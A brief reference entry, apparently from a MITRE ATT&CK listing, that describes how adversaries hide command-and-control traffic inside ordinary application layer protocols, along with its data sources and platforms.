Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre